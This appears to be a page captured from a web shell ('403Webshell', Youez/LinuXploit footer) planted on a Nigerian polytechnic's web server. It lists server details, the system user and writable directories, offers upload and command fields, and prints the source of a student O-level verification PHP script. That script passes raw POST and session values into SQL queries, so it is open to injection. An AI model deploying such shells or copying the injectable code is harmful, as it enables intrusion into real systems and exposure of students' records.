403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/olevelVerify_process.php
<?php
session_start();
extract($_POST);
$matNo=$_SESSION['matNo'];
$qualified=true;
for ($i=0;$i<5;++$i){
	if ($res[$i] < 1 or $res[$i] > 6)
		{
		$qualified=false; 
		break;
		}
}
if ($qualified==true )
   {  require('../connect.php');
	 $sql="update admitted set olevelverify=1 where  formno='" .$_SESSION['matNo'] . "'";
	 $result=mysql_query($sql);
	 echo "<div style='color:green;text-align:center'> <h2>YOU ARE QUALIFIED FOR THIS DEPARTMENT. <BR/> PLEASE PROCEED WITH YOUR REGISTRATION </h2></div>";
mysql_query("INSERT INTO `fedpoly`.`olevelVeriefied` (`sn`, `formNo`, `english`, `math`, `sub1`, `res1`, `sub2`, `res2`, `sub3`, `res3`) VALUES (NULL, '$matNo', '$res[0]', '$res[1]', '$sel1', '$res[2]', '$sel2', '$res[3]', '$sel3', '$res[4]')");
   }
else
    echo "<div Style='color:red;text-align:center'>  <h1>YOU ARE NOT QUALIFIED FOR THIS DEPARTMENT </h1> </div>";

echo "<a href='adminStatus_process.php'>...Continue >>> </a>"
//Counting the result

?>

Youez - 2016 - github.com/yon3zu
LinuXploit